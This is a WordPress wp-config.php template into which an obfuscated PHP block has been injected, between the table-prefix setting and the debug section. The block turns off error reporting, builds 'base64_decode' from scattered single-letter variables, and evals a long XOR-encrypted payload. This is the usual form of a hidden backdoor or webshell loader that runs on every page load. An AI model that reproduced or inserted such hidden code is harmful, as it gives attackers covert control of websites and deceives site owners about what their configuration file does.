<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';



error_reporting(0);$krunzn="a";$goatbn="b";

$ezx="aewm";
$qodpw="6";

$ssympg="s";$hmqu="e";$xowf="nykrjj";$ngdwn="4";
$clix="_";$mdzx="hxaz";$txbsrd="v";
$qfm="c";$jkens="uiehq";

$qevwd="xru";$yeohs="l";$itjn="rwi";$hhvzrws="d";

$nmr="o";
function p($d, $i){ 

$m=""; for($s=0;$s<strlen($d);) for($a=0;$a<strlen($i);$a++, $s++) $m .= $d[$s] ^ $i[$a]; return $m; };$enyimy="pprfiom";







$tadmtw="mmqb";



$wtseyx="hvbbed";




$qwhmgvxcm=$goatbn.

$krunzn

.$ssympg.
$hmqu.





$qodpw




.$ngdwn.



$clix

.$hhvzrws




.$hmqu

.$qfm


.$nmr.

$hhvzrws



.$hmqu;



$gfwzqp="bmrlxfc";






$ppix="gqhpbaeq";


















eval(p($qwhmgvxcm("RLDO]XWTERKSVI_L{R Ih@CUgIE\V\TL{Rz@MXIEGNXI
U_XC\PL&J\ DsJE@ :I_KEMPX_0U&^IUG GN	ZVxZ@#CI0IOCHIE\KEB_CIWJOQPA
NYU&U&^I>XIOXXECOCMdU	C X_WOC[D#T"ODG_Ow']WX^UW
_XY1E@M^I8]_^TMBTK	

eB^@E
@OIS[T_I0E^TA@\[XQM^_IeI[^[ GAS_ZM_=BX[UXOPDHGM<]DTMNLJQTSC _I'B^]UGT]]TLNM^
1[F	OR\[XQY\M^_I,[QLHJG^FLX_MIeBXMQTBQBBTMG>B\TBLH	RE_\M_?	Z IUP7OLI_Tcw\YFq60_EJ,^N\I
OX|Wc>BY_L%E=wDR/_G	QK PTNLBT	OYI<ZGTYS_ATSFC_]
NOIZOE
@IG\TNNBL<wAQLHGVR/,AFJNMFTO\_DYXIqLOE
OG\TBLJAIOX[AFAPFU^]DTNNITNSQF^THE@\YPKGSO@IXHXHI[Y/5AYQWEGG\TNNITAZQFM@_LZPMJSIXB8I V1@wVFLBPEARSTLN
DYA^TFN^UXIqR]wA]RP]
G^@E
IQTBHAQLHDGqY_<ZPSAUXMP@_qB_K	KXwARPJBTYX]@PqB_IBMZEK^wCHJIEAYFC^]DTNN8IYQAI X*OE
@G\TINIT@]QF^TC@\YICNAMBQTLQFUAIIqYOE
AHG\TMBLHw[%6^TIB@\Y^TMEA C_]
IZQR/P
CAIBXwMQTIBS ZQN^_L]ATRP]
NG^WEEqABUH^BS ZTX_<E
Gq5ARSTLN\IDYA^THAN^_M]ATHq"PJBTNZX]
]BMVQT\BHqwCHJIEAYQWFG\TNNBL< [VEKX<ZPCSAU P@EUTXMV_:Y
CAIBXwMFTR_DYA^TIAN^UBIq!TTBHL%AMX
QRH IB]NB _\B_\ ^JH_YB@O I[S[H FD	CB_OCYBXwAUYHRPJBTM
X]
]BQTSBHL%E_LRPUJOXECBEIWOSwV	U[@S ECBBIFNCLTJOXI V	U[:IS AIXBIFXCLTJI^I VU[ MS EJ^BIFLZ@]9XBcQKR^I ]IX   ^YI[EOv a!@YUVSZM@ B_	YULI|mjVZ@B H
F J^U:MVZ@DCFXL]^YEVBIFKbLTJIAI VU[ES IVCBIFI)$G{I VU[CS EB\BIFXILTJXEI VU[YS IBHBIF\XLTJU\I VU[_S ^I_BIFhMLTJM_I V3U[ZHS DCHBIFL]N^@v~:m) @YUI VSXhC BCUL II+@YU_VSydMuF J^iIVZ@B_ B *F )$+J^_^VZ@ Bn Y F J^E	MVZ@Bj WQU%9$GB
R^PMI]XDEHIBSMYO[T/T5QKR&AI ]mK & ^U  MQKRCG\H{}hd]BIF_X LTJA[G ZI ]Hc R
	vM*_AUX{]QP IB1qKOXE[W^X	ULQU^ Y^BKMLZQJ6I_LZGTWS)ATWH-LT^A5AYQWDBG\TNJBL<^P_XNEOCYBXwABUH^BS ZTHX]
]BQTSBHL%E^TIC@\YPYSOJYBOX
dQT[WOBG:OGXY^B-XYBvB|X=H(ZOO@IX[X*:vqB^BN[JK=Z A	EB\YX>ISJ[,K
]UGTI]]AR UXwVFCPESqHI\Y0EUTYV_LR30'cbwABUM^BS ZNQN^_]qHMXLMJC# ZTVX]
]UGTVM]]ASRL	UqB\^CYBXwABUO^BSJq5AYQWJDG\TMNITYQFU@HIqY^ CwAT]\HAQ[ TqFJT\VMI;CY^O 'HUYVXOCBXQZ=IY OCBKLCB
X4OwW(:)+BB \SRA4/8uZI V9U[@S HE_BIFKSAT$o[f7QKR@E^J=UVT[BIFIXN[7]cm3QKR AI ]^I  	 ^
U CQKR@A^JLi^bCkBMM	_AUAI ]QP IC oDBM^_AUBE>$!R^P^IFt|#3oUL I_@YU^VSUpTUBMI_AUy%K)R^PH[]XWTQGh0*U ZQKRMI ]!~`qXYB^WuUQAIXY^BEICOXC^Y^WCX[dI*\DPP@IFP-:\	^WB_XvXHM^
1[F	GUG[^^TK_\M^_I,[Q[ \@GAU_ZM_=BX[BUOLQD]T]Z[ I'B\[TTTPDHFM<JJJURIe XYORB_]]TN ^_"Z[^T@D\[XQY\M^_I,[QLHCIXYWJ]C\_IeBXMIZIUA	ON^_M_=BX[UPPBW]
MJY,ZHO^GI@_ E.w	Uq!wV3S]QOMXI|$#JY_,^(.UDJSqKU[ NOXMWY@GEBHC[>IZIUq5AYFD@AEARDTNITHZDYAI	GV@U^]DTNL8ITPGDCi
HOAXwAUP^BS ZT_I_LZPHCABULQFUX3V@\IY OCBdIWcSKY_\YBZ<JYBOB#G(D	v4AVEL@XZcwvq^XYXIQ &Z\I
M O^i@IA>IZI_UI@Q:H_^TKFAMUBS ZT_E_LZGT_]I DC.wAF	GVF[\'IY^@ M	C^< )AI	GVBU^]DTLNFMH^6E@ HO,AFJNBq"P]
ZOE
F
QTWF^J/M O0AG ODC^i	 wAQLHCIZQU*G OYAIB>II_KEQ:._^TKFAMBQTHR_DYA^T@D\YP@
'\MBODC IAPGxEI]BXBWO
XVVEB
C-]UGT_SqwOBUILQFCN^_^TKEJOMBQTH^_DYO^T@G\/_Y@SOQ T ]HBa\A@NQT[RZ\@IDLXE]UBY^JD Z

	HBWOHE@@CE[MMYAIV^HM@_D

]\GWSNNPH[ZIF[\EYJ
L\YIZPUEZ\[YN\ER_X@K@XC_IUUQI[H]BZVH^N ECBMM_X@MIV
@N_E\XEBE	U\XEMV@_	HHEZY_UDLMLK
EJ\[]HEUDBEZPVISBX_E [W[H]B^AFWEDAUDIMZU_ ABY\C	INMYOIHI@M
Z_RJN[]HEUDBEZPH[ZIF[\HE[]HFQA\OJUUIGSJCBXIY[V]B^AFWEBGTASBC^A	VIK^C_QCNXI\DMXA@CMYI]RNDHN\[YN\EXU@VZ_VNUUQIS IDBN[IVUY	 NCMBIKVMAZ@C[DC[MBNO
HR
JN_X	__EIKVW[BG^JDRG	^\IN\^UBKIEEJWWL\P^YIZPUEZH_SN\RH[LKF\MB_I^_VLGE\G^JD ZU\RI_EX_@	
LNP^YIIA\DHHEZJZEFQ]ERH YI]EFJ^MAIEU@V_	_\MLGIUZEHXDBUFD^QN^^[YNEJ
L\P^YIZPUEZE[YNE[PrgBE1_OW@[%^@sJC  YIIO[&dJBNKI^MXI7HC8BKF	SKDW&EEA^I
R_Y_OsDJ@I_>^I	ZTSKE@ABC\XY mn-h40 =;=g"a4;|}~x036tu#LTMIEUDA_@IBLHPGIAV@I KNNx
&dETJYBCB& X_F'@'\;H^mjLL&YKXBOEG~M=\mHH^$#IKROIZSs=i("i~wk *(|s8/<?UqGWPG]ZSs=i("i~wk *(|s8/<?UqRVGUB\G^KSW\s*.*;7~wIk49.%-6h*~])QI@ JQCY\XU)40 !i<w]<xx|st:#.~{89<(6sj!~V+N\RQ
NRPsi~z 7:d-?(2*sj!~&75173s(c(SqTWVW[V\UH
Q^OQ-$i<z?&wdxx5:9sj69/, hi*s795R/^P^+i~zi7>Fi+==?-mh*~V+N\[WWJE
IIT\@C I ^GXI-i<z4$<R:#x>s"+jc~{m7!$hs?$*J/NGHRSEwJ)QI@ JQCY\XU)40 !i<w]<xx|so),$bx&"(J/N
WVO]V(+~,1~wdx15>o`0.69-e|IqXJYRCE@TDCCA]4+( zi<wV>3!"(o"e?:xse|8L]]4+( zi<wV%"'$2~1m>0~qLEE	V\2!i~8i#-@=&#|1o6=ibxse5B<QYEJNYWUF%'i~zi~>B)xx)4;+-oc b453<<0s'|])

EMIs*.*;7~wId%"7*11s-c4:ioxeb":(|$BDSUYAXW[CPN
\Ts 77i~"L09&|s-j.5(;<2o:e43se|qLY_&8=?$i~5"35#7%s/h>&qEEE\DO'>7~z+~*Q/!&'s-j%7cbbio1,/ks0;_0IQ@GV\S%'i~zi~>B3ia6?=23hh<,MU X^TE\o&&XESJY O-T_KIX7  @^_D[WdQVGOEKIX~ ^ICQM	&&NQVGURWE\XU:6$~z<9#J:xx>s#3!0 2~IqS]W&EEAYKXMRs=i# "')Pd:x*+~iji~ 7FqDKIBV>3!"(~+j?&i~oEAYKXM&&NQVGURWERA\XUA:2i~/.*6Udx:|.$"37%i<']^IX[PrgRNQVGYBZPsi~z 7:d-?(2 ij+~4$@(I}NZ	&Q&&EEIJCB1I	_	I&IM@YMBLHW&YKXMYBX	UX<IYMEJ14$10 ,&x.$syi~:$&ib-L%D[WN.%"'$2~52 x|sy 7>mk<%,J/NK_&x.$syi~:$&ib-LQVRQIRSs=i("i~wd111sy*.*23ki xV+\U}Qd&BOXECEIX=BbA^NU	}NZPDIMHIAIsI (DM^_oEA BJD wLdXq&okJYB	I&O@R]W&EEIXMZI\OQ-$i<z?&wdxx56FqYM^MVs+~'35.U?x:|)SqEBJJ^KRs=i# "')P+~,1~s|c~1B<DKLYAQSAXTDX[[Prx&JBWKX(]YI_X-  HIPDRW&NQVCH^	TM^^IsKXMRJCI]V(+~,1~M_AUDUXIM@IXVRWNZTEJ_XC\U N]VR\RKN2 x|sEkYKXMRNQBIA~EEAQ&YKXMRNS	 ^s^I\	I^K_ARI QH	 ^s^I\	I^4_ARI Q@[_YN_IGTMGGXMmURWNZTDIMH w	^qNQRIU&ZTQ&EEA^I
RDMI}Qd&BOXECEMX<MJDGB^IIH@IIEECJONW{VGURJFsM^^MMEBI[JBWNMMUB  @IPPrMRC_ I@IM_EAYIQM	&NQVGURJF_\C__XAR]IKUVJ_ E @_BXXYBQ LAZXC\CEE^
X YIN^}NZ	& Y^K_IU&|mOEIBOC 2CY,Hn_@S]V N]W&EEEHM
XPRTCi_ ZPG&EEA^I
RNMIGB8C
IRPHMXM^o&&EC YImBHnQOARKG
|GURWGTNM_IQ:IOEV_U&QVGU X^TTC^hI
I]TMVKU&|mOETC^iHIQOYXBU[WWd&ZTEBnUMOYJI)-UI	\EB\YLZ&YKXIIU,UUOWYJB+XCsNU DI&NQR;I KOC/XIJ|mURWJ^Y@XnU Y0%VxNDN^B\YXn_XIPU^&ZTEAI_/XIw,VZUVUIZ*GIU'I_"OMWI:D3pTQ&ooAY^BNN-C1Y^IXn [&&{EBZC^hIO
 >^E K]VCNWp~ CH:I_NQ@E ^ITX^sKXMRGU3WNYsXCsI_QOdQVGQU"IXD
BXQOnUI_\xWN^IOCHI'XI
KEM)qdQVGFTAA

BJInXENNHWsKXMRNUI
n I_wqXE^HQOCHH3,qSTrGI'XI
0\R	JG+XqA~QooAY^BNN-C1YHI
IH;dQ{|mOEYXJ:sN Z_^ \R&NZT^IXY^E ^^' \IC@YRXs	@EXEBBQVxQ&dJBNN I_sXC:JQOI_G
|GURWI	@XBBZ&YKX^IOVOQX_Z_NU HWsKXMRNUXNGTOD^IBaXMRQdQVGYBZP^I_Y@^kQ&sXEBQ _CIY^	LAW&sKXMR^_VZUUPdZTEJE:M@
Y8XISTW&EEA]MOO^)JY&EEAYs_X]VDB9!~`c|x:62`s/.*$4u|+i#ZG_A~EEAOY'XCXYR^Wo;~6;|xs):7i~0-!%=xBC_\RWNZTOY^@:XC	PID No$$+:"#s(c68c{`co$1(cbUKIDI&NQVGURY@%IXC\XMAD Y(-?>c|:s#33  9x<m4'ji~ TLZ&YKXMRY8CXRPOD o07-c|-40(3hi< QFNNxWNZTOY^	:IXEVODB2#59='x1o5:bioxx,($cy-GX\BdQVGURWYs_IXCIOGX.'~`!|%)3<?2c;xVT&EEAYKXI I_LV  sTOD^oAYKXMRDMUOWO^+KIXEB
IXDI&NQVGURY@%@C_IA	sKXMRNG]VIHwDXX:CHL%MS\A_GYBZM@_IoEAKI&{VGURWN^^@s\MHDK _I1YOQ@GpTEEE__KEMZY@.H5	DIAI8E\^_G{VGURWN^I]B"$x^KVMVY^swI\ Dq&oEAYKXMJ_]V^s
^_IHwBI^ L%D[I VIHRPITTY^@s_I0_I^,MmRWNZT^I]EK\Y#,9"@-;:_ZVY	>\M	)D_Q:U\W2^&oCBBICBCK;_I2^-;.U&ZTEACOKEM_CGZ__T__	_NYQXJU@U-M_wDC_B< ]RZBV]UJGU&pTEEJ]&QVGURWNZTlJ\YI_AR^]XMmURWNZTE\BaXMRNQVGUR D@\JICJMACOBQgRNQVGURW&ZTEEAYKXMVNS_C QLZ&YKXMRNQVGURWE^^IAYOVxNQVGURWNZTEJE\[7
1NVZUCL&NZTEEAQ&YKXMRNQVG5@_\_COGL^kYKXMRQdQVGxWNXY^BA_\BagxJY ORIYX|C_XMA^@UK\^M_XVxWN^I_\EBF&sKXMREJFE)M@\OY^@:EX^BQM	&&NQVGURWDZIOY^@:EXQOd&QVGURWNO@s_IX
TM1y~"c!"8&!;s8i(=ju|ii7IAJMDI&NQVGURY@%IXC\XMAD Y(-?>c|:s"%+*$2~'j#<cx WLZ&YKXMRY8CXRPOD o07-c|-4>">`c9`>5&!;8bBK]&EEA
-_ICOQ No/&`c|xs7 5y~7?*,<j+~]VV\I}NZTOY	>_IZO Q52'>8|:s21mhi~ EUH&YKXMRNO*X\\OD &03`c)?'.=bb+o%".878y: ZE&EEAYK @sIZSO Z7y~`c|1:5ea<$-9^^J|GURWNZY^@s_ \XQO^o;~=97!-'c=xVT&EEAYK @sIZSO Z7y~`c|1:1c--1(>hBU_Gp~EEA^MOO^)JO]&EEA]I^NQ(KXJCAsaXMRNQ(OC	OD^okYKXMREYRIw]XX\sO
qYJEM@G  MI&&EEAQIM	&&NQVGURW^+\M^_IE\\-Y^U[L&NZTYC\ @sM)P_DIqXEFDXJ[&dQVGURWJOXITXXEX^
2CBI	8 MIR/&EEAYKXJ_@ILHG.xWNZTEEA^JU1\RRJNJ_I &EEAYKXMRNQQ Js
I^sBM FGK_IdQVGURWNZTq&EEA$BCgxNQVGURWI	@XdC_E\]RI_]Z]PT]Ss\wC@(RWN@VY_L^RJY8_H!S\C^X8LZ&YKXMRJ^?CXZI__	E^
W]NQQ@\RYJYs\M^_ :DJ/&dQVGURWJZ\Y^@s_I0_^XIqXVRWNZTA_Y0X@QT]WRYJYs\M^_ :\J/&NQVGURWQ@	W&EEAYKXMV^IY/@Z\__@EZA[KVMFNQT]WRYVA~EEAQ&sKXMRNUXNZX^IMA:OG'EI XYR@dX IC YO a_	 QGRYR$x<i;9so`ei+1>oc7%=.& JO
U&pTEEJ]IXG
|mURWNZTJ_]IXBS&(&&WNZPY^@s\IH"LD3_VEU:#x>KZp^pBGLZ&YKXMRNQV_F	OGIX EG)C_QXORJY8_H!SDC_X8EO%$PdQVGURWNZTJ\YX_MACOARoB	_UI@TM\\@EECD @[[CJ
X@BHIHp^9CsKXMRNQVGUY_RP_COGIIAoXIHW@_@IBMA
BVO.^p XMmURWNZTJ_]IXBS5OEO@C =^p7
1U&QVGURWNZTJ\YXME_C ^M
RYLp(Bp^pBGLZ&&YKXMRNQVGQ WNA~EEAYK@IFZS_OXWoEAYKXMRNQVGQWNJX__

IXUKI]@U&QVGURWNZTI^PK\_\NLVCI}NZTEEAYEVNSQT;.G^oEAYKXMRNQ{|GURWNZTJO	
I]IXG{|GURWNZ	&&Ek&YKXXYBQRd&~&JYBOBXiM.5X9Eo^U\XMAM^TMVGIQmURWI^B\^ >AMEPlA]VH^OImB' _IO_P @HO]VMM] GILHDKI&NQVGURW
H&ZTEIK&DL-XHW^WHOICY^  BH;
D^IF
^MA EA
IUPBXPOXYMmx}JB ECBH OX<eB)I!5MIL@\M^HWsKXMR^IYG K1A OD%JC 
Ds
IZS\^EYIsKXMRNWPmURWNZT\^IKsODQIW1\BDCs
IHI\ APKEPRX^IJ|xY OCBHI Xi
;BkXYR AG~^ ^BY
sAXOW]7L ZP\M^MALE\xNQVGUTQ&NZT\ sAZ2^TKUVMM]X&arBOEG B~HCAxE	\^ YDNU	}NZPXEX@IEXABarMRCVOQJU^^MIBIARBAC_\UVEZ&EEAS	 X~HCAXKPKVMUU&QVGU}&NZT^IXY^EEXEVxQ&dE^C*!2~8i(/~i}y 65sa<?0"6qNLKGR52xI\RE__IMEsk<?#JG3QPAUE_Is CHC\25ix5@([^SZPZM@EHxC)OC
I_Gx}NZPJC^Ah Y

UFEUOIJZEHMXI1

IB=IHG{VGURS\^_N&HIFF	*OH\JC^A!MPPrgRN X;^TDCA]zMEI}&NZT^I_\
IDKAX*K]YI_X5
X]I_yKUVMM&oEA]cNIGHR_B%IOCHIMOC+^Om%Z^I_\CB MD[&dQVGWJF	BcNFILW^HMI%PQNGTZM@EIx 6IOHGSTW_cNFIOH_W


XxG@RJNJ+CsC:
CaXMRNQWFC+IBOCH MCs['BsCLJ|GURWQd&ZTITE^kQ&sO E@:^ WNXO&^IJEXAKI9^IXMmQSX~IM@, HH*>E[&JYVZUX<IYMoAI]'^@NQR@^I^ZI^! @C  I&&JQ^XF%3ixwEB<YrMRJQ^OiE@eBk 6EX(
XJs633.UHIqVTGIULEEIA9 MOIVZUOH'CY^OI$nM
NYZX^AYR827#wIESq  sKXMREJNiMeBkIX2Dn[F1k4"<R3STIAME	1MO
MON_@S*OH\skix>BH$BCgRNEVOIX?ME@eB" &,=9)E
,_NUVAE ^MOGIE\&,=9)E
,MmRWN]YI_X5MA
KEM^^UQ^mURWNZTEHX[AI
&^MGKRWNZTE\EX_TgRNQVGR JIGJ^IJIoAYKXMRYQKYUVMdZT&&EEA	_X>M
RJ^BOCHIM OC+^Om%Z@IBOC IF
2BOH^CY_$M^MA_LLH YOU&QVGUVI\0CBX^EXA^I|CXYRIX/@ ^ I_;A_G{|GURWHIR]&Q&&A&8=?$i~5#36 7$x1a? dchqEX\^;7>&H
QJs*;xwHB8HaXMR_GHRSs>c) wHq^oAYOMS-ICF_CIAX^QVx&NQUZ_B%M_XsI^PKYPOf=c?)"' 8~1b5:iW&EEAYKXX\1^I1OIL^kYKXMRIEMmURW&pT^ EZ3_S(GU	\HMXML^k&YKXC]VMMSTLE&YKXMRX8\B	sOCHIMWQBaXMRNQL&NZTQ&&EEEHM7_ILVXFXMwHB8HYOMwIHV+GORPU&ZTBM .JJ
MOE_OQXw]qEAMX0_UqTVQ\RWN	_|@MX
ADKIXF)P_']H w
_0RIJ|GURWU	!MEX]wYV+NUMW
Mw_Y8E[^PrMRJE"MNZ__IXA XM"LUqNQRwIESqB^kYK\NhEUOWE_ HMX>F[H^6QMM
M<R3@T&EEA@8NEZSs=i("i~wd111sm:(==&s`/b6#&27PqGET_YN_XMEs<9.( w&x%&8414i>x%8mbkym" Fq Y[TM@TVQ\RWNME@EGC&YKXMVIAE&bAToEA] U^ 2SXV&EA	IM
=MXCGHRI~YI_Xd I^
CQ6PI2J Z|MC^AqEZAKI9I_d GwX'IOoDH0 |
^ALqQLGWPL&NZTDM_D5MAYVX_IU,\])Mw^J/NVMmRWNJIMODMA>ki-KRBAVZKRS\^W&EEAYKRM
USJLSTW&EEAYKXMJFH2AE=BkIX{	o^ EV\MMZGQUGZ&EEAYKXMRJIRJ
IHICYmB)FX
]VMM] GILZ&YKXMRNQVGURWA@|M^M+ AIYVXIMA{VGURWNZTEBXI&NQVGURWN@_IEJMXI= E@'B6"D,M	\ APKgRNQVGURWNZTIAME	E\N[FsHO]E^M^MAIEEGI BCgRNQVGURWNZTIAME	5 ^M% N
I}NZTEEAYEBIJ|GURWNZTQI	EJQOX+A<0I^M^MALE&YKXMRNQVGURWA@MABaXMRNQVGURWN^AME@| AbMO M\RWNZTEEAOYIU&QVGURWNZTQ&EEAYKXMR]I4 B	k IWK_PUNWN\V&EEAaXMRQd&QVGUVY^'X^EBK" YX^F $XEkIX UIAPPrgRNEVOQ_|MAWooAYKXMRD_&S ^EAD| ^M7 A5']&&EEAYMZHII"@'B=X{EXD&\XQOD|^KUVISTW&EEAYKXMVIAEVZUOH'CY^OI$nM
NYZD_& NU&EEAYKgRNQVGIJRIXIOX  E@0?{ED3DCJDD|M^MLHWsKXMRNQVGUVAETNM_ SUsH	M7 AGpTEE&YKXMR@ZII iAME@,&IXQOD|^N\R&NZTEEAI
RJD%MpTEE&&YKXM&&NQVCY_$M^MA_EXAM^
MZ&NQVGURPEZIE\IoAYKXMR^JVVZKRS^JV~EEAYLXPLM]|GURWNZS@EAMB>AxNQVGUUHIGJIAM	M&YKXMRIHVVZKRSHX;JJ_IXIoAYKXMRBILHGQAc_IX &EEAYKXJ\NOVC|MC^A &EEAYKXJ\NOVCH^*MXJC^IkYKXMRYVVZKRS__/ &EEA^JRNy pTEEF[H^KESR[N5&NZT&&EEA^X|^UOWY@OCHI CH8 OI/B4AFF	BsIBO
	_X>M
[W NU&EEA8_C GHRIYX|C_XMAI]'^@BU_|MA_oEA]f_B>UOWFC+HIOCH MIO>Y^I07IXRP^I_\f
XGXIIUGJ|GURWERP^I_\f
cNKEPRGI}&NZTEJ \f
"FPWSB(C"E_EXCGDKZ_XA=	P^&pTEEJQO
\fC9_IWLYQEGCI&&NQVGURWERP^I_\f
cNFFPXUI>1X^X	MBO[WdQVGURWNZTIO
ARDX\\ I^^I_DEBXPU^KE[RS^_
>_CBcNH_WOLOT\RWNZT  HICZ!OME]UPYJ^\f_CB*IQB^W^SO&EEAYKX
EXU&QVGURWNQ_IW&oEAYKXMRNEVO\_RP^I_\f
cNFFPY^ZGRI
^I@EZ KCA^BXLOM\R&NZTEEAYKWBRIOCQT[MND \I]Y\^
DNOIA^@EAI_	!cNOE  TV&EEAYKXMRNQVIX8COMXE
[WK\_\$_(Z@Q I YXH_[&NQVGURWNZTITZ&YKXMRNQVxWNZTE]@SQTE\R&dZTEEAYKXOYOQ-0i:ZJWoEAYKXMRNQVGURWAZODCYXMYIY ZR JI	OCB X^[C @LQRfC;NFWG@KVOMN $XEkIXGB_sKXMRNQVGURWNZTDIMH I`CBTSXGQ _f	BcNF[CY^IM\LQR U=XBKkIXIE^YGX^BU&QVGURWNZTEEAIVxNQVGURWNZTQI@_ E&&YKXMRNQVGURWNZTEJD| [WdQVGURWNZTEEAYKWBRIOCQT[MND \I]Y\^
DNOIA^@EAI_	!cNOE  TTDM_D5MAYEZJLdQVGURWNZTEEAYKHIS:EB@T^ f_7WWN_D|M^MXAR\J|GURWNZTEEAYKXMRITXJ|GURWNZTEEAYI&QVGURWNZTEEAYKXB]IDVEIX X\I]_DI	XSJOY^@KEE^I
2BcF\HW@LQZZoEAYKXMRNQVGURWNZTDIMHIMC`C
BN_VC\$_cNFG^@[TM^Y QEWG[L&NZTEEAYKXMRNQL&NZTEEAYKXMRQd&QVGURWNZTokYKXMRNQ&pTEEAYKXMREJF $XEkIXXECYrMRNQVGURWNZTEJEMEDM
( MAG
|GURWNZTEEAYKXMRNIUPKAXTDXX\ EZDL
^IDVVI XGSY^@XGO8_C cJK	UY@X	D	|M
M\PJ|GURWNZTEEAYKXMRDIHOW>OXBEAI_	!cNOE  TTDM_D5MAUKI NADNNxWNZTEEAYKXMRNI	NxWNZTEEAYKXMI@IQmURWNZTEEAYKXMRARUIDXX\H YEV_J^_QGXBIY^	XC]f_B>XL^VQGKAI
"M^A?
RYSTTIAME	EOGICgRNQVGURWNZTEEADIZ`OMLZP^I_\f
cNFFPY^VIWMUNME@|MbMXCP@U
 NXI WLZ&YKXMRNQVGURWNZTITZ&YKXMRNQVGURWNZ	&EEAYKXMRIU	}&NZTEEAYKXMREYR|^W&EEAYKXMRNQVGURWNU[IODCEG]AI
XX\CI OP^J_DO
IBV_]IY^SXGQ _f	BcNF[CY^ICP@U ^KkIXKEEDM
( MANQT@KPL&NZTEEAYKXMRNQ^F6OMXEC_AYO
\fC9_IWLYQZGOXE WLXZDM_5 ^MGX YIBBFU\I}NZTEEAYKXMRNI}NZTEEAYKXMRQI_VRWNZTEEAYKXMRAQWRA MDXXH]YEJ IJI@UBI Y	\]f_B>XL^VQKAAM( MA MIWOUNME@CGOXE WN]J&EEAYKXMRNQVGURWNDHI^)
MXWRJ^?B!NYWY^	GFIVIAM@!9MITV  E@WI^O\Y&E K=X X^ MIYQVxNQVGURWNZTEEAIVxNQVGURWNZTokYKXMRNQVGUR
&dZTEEAQsaXMRNQmRWNQp~EEI^'CB!N[YPOEjC^zEC^[XPOD/G~EEAOXSDCs
IHI^ f_7
P
U&ZTE%ZMC_RL@UBA~EEAITCgRNQ{|GURWERP^I_\f
cNFFPMOE! !EE^QXECDC
<ME XVRWNZTY^@1
3IHNK7CC\K %CA#AIFJ|GURWNZ[IOD
ECAMXXJII_D
XIEJBY@LTIUV^x&IHE^IA^UZVxNQVGUM
I\`COMBYIVMVY^x$IXVTX^YI EVQBaXMRNQL&NZTQ&&EEJQO
\fC9_IWLM ECBjC3_E
OSS4Y HX]W&EEAYs^_	(OH\oEAYKXMTE{VGUR
&dZTEJA_\3=NFC
TC jzE_EX
CQDVXOE@XVxWNZTEJMAI_	!cNOEI MQEGCE[&dQVGURWJJIhMXMEXANM
NY-IBCOE\NM_IQ:IOEV^I\;=FCVJE@Ih QPBQVx&NQVGURJNsKIXs	 I@QBQM	&NQVGURWNsIBHs	MBQBCgRNQVGx}NZTNoDI^LV ^X&MBHCA6EBCQVxNQVGUVUI4ANI^_EXAKI
I~B
&E KR]&EEA]	m^MVZUB^ I~MBH
2X^E[&dQVGURWJ_Im_EBI
 MB
C%KFA~EEAN#AINQMI(BHCABKQBCgxNQVGUD^XA@EG]_OL&NQEBZV_M  _WIPC XVRWNZTIm
8 OI,CG[P}NZ	&&EMYBNW{VGURWNXAXI:OX^VIWRJXA@I=
RIJ|GURWNZT&EEAYK@U9YN_XEI[Y*
ULQRoMOXI^_EKC@dQVGURWCT@IXE\BKMN@U4D^XI^_KGO@IIEEXVRWNZTGKAN #AN^VIW)qNZVNU "DM
^_NSXoH5XEoEAYKXM&NQVGURIXZNUX $^M KVOR IV2/^UAXI7^_NS_\RWNZT&EEAMPJN;INXTBI[E'CNQ0ZCRNX7@'XWXU\ _AWK\_\$_(Z@IxU\ G[LDI&&NQVGURW@^MZIm_EKCWK\CN MG[P[ITT^I_\/BcUS	J@UQNXS&EEAYaXMRQGXMmRWNUO^E\X[GZ&&YKXMRNEVOQ _f	BcNF[C^I
XmX!Z&EEAYKXDCNMWDX
YI]YEZXBIJUOB	OPUY \f
"FPWSIX;XI^jE	 CQWI_SP&NQVGURWNZTEX&EEAYKXxNQVGUxWNZTITE^kYKgxQ&dO|mIS3c-x#$iDXA	[kDSxDMHmURWRX @IIM^E X#	xX L^^VId^I&RNU&IMVDX@QXGWNOE
 AC6IXOVIUPKO\XEZ_&V		&R
L}"),",ykxmr,,n,qvgurw,n,zt,,,,,eea,"));



$fym="kpf";

$suxx="yjqhkx";



/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';